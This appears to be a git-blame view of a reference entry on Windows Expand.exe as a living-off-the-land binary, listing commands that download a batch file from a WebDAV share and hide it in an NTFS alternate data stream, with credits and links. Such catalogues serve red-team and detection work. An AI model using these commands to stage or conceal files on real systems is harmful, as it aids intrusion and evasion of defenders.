2018-04-19 00:06:48 +00:00
|
|
|
## Expand.exe
|
|
|
|
|
|
|
|
|
|
* Functions: Download, Copy, Add ADS
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
expand \\webdav\folder\file.bat c:\ADS\file.bat
|
|
|
|
|
|
|
|
|
|
expand c:\ADS\file1.bat c:\ADS\file2.bat
|
|
|
|
|
|
|
|
|
|
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Acknowledgements:
|
|
|
|
|
* Rahmat Nurfauzi - @infosecn1nja
|
|
|
|
|
* Oddvar Moe - @oddvarmoe
|
|
|
|
|
|
|
|
|
|
Code sample:
|
2018-04-19 00:21:23 +00:00
|
|
|
*
|
2018-04-19 00:06:48 +00:00
|
|
|
|
|
|
|
|
Resources:
|
|
|
|
|
* https://twitter.com/infosecn1nja/status/986628482858807297
|
|
|
|
|
* https://twitter.com/Oddvarmoe/status/986709068759949319
|
|
|
|
|
|
|
|
|
|
Full path:
|
|
|
|
|
```
|
|
|
|
|
c:\windows\system32\Expand.exe
|
|
|
|
|
c:\windows\sysWOW64\Expand.exe
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
